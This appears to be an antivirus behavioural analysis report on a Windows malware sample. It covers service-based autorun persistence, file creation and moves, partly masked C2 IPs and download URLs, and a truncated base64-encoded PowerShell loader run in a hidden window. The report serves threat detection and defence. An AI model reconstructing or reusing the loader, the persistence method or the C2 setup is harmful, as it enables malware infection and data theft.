Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\xactengine3_2] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\xactengine3_2] 'ImagePath' = '"%WINDIR%\SysWOW64\httpapi\xactengine3_2.exe"'
Creates the following services
- 'xactengine3_2' "%WINDIR%\SysWOW64\httpapi\xactengine3_2.exe"
- 'xactengine3_2' %WINDIR%\SysWOW64\httpapi\xactengine3_2.exe
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABUAE8ARgBFAEkAcABoAGEAPQAnAEkAWABHAFAAUAByAG4AcgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIASQB0AHkAYABQAGAAUgBvAGAAVABgAG8AYwBvAEwAIgAgAD...
Modifies file system
Creates the following files
- %HOMEPATH%\739.exe
Deletes the following files
- %WINDIR%\syswow64\httpapi\xactengine3_2.exe
Moves the following files
- from %HOMEPATH%\739.exe to %WINDIR%\syswow64\httpapi\xactengine3_2.exe
Network activity
Connects to
- '24.##9.135.121':80
- '18#.#4.252.13':443
- '14#.#2.173.247':8080
- '50.##.51.143':8080
- '80.##9.176.206':80
- '5.###.35.138':7080
- '19#.#7.195.202':80
- '14#.#.87.101':80
- '19#.#47.137.153':443
TCP
HTTP GET requests
- http://www.mo###viseu.com/wp-content/jl173/
- http://bo####seafarms.com/images/30v/
- http://bo####seafarms.com/cgi-sys/suspendedpage.cgi
- http://in###mal.com/eazylot.com/ScVIwfSxR/
HTTP POST requests
- http://18#.##.252.13:443/HU7ZM1HhAd/ via 18#.#4.252.13
- http://14#.##.173.247:8080/0ICeuXDYsrzQEs/9FO5ksLItX5j4W4R/AdJ2Akuqb0x/YGYXf/knIGEUI/ via 14#.#2.173.247
- http://80.##9.176.206/HGleNGy8xfHjORsLKWS/GrQLsRR7HNUYYKRqHb/HKoBA44D7w2iIcoVM1A/NWqHZn3RuJfLI0Y/LGOG1NDKTrQ/OANQOPjs2BA6e04cXjI/
- http://19#.#7.195.202/Tl43QVtebD53nftnH/O7VnBFWW3Yp/
- http://19#.##7.137.153:443/MFhgpClk9rx/E53T5k9YkqZ6xlLXj/ via 19#.#47.137.153
UDP
- DNS ASK mo###viseu.com
- DNS ASK bo####seafarms.com
- DNS ASK in###mal.com
Miscellaneous
Creates and executes the following
- '%HOMEPATH%\739.exe'
- '%WINDIR%\syswow64\httpapi\xactengine3_2.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABUAE8ARgBFAEkAcABoAGEAPQAnAEkAWABHAFAAUAByAG4AcgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIASQB0AHkAYABQAGAAUgBvAGAAVABgAG8AYwBvAEwAIgAgAD...' (with hidden window)
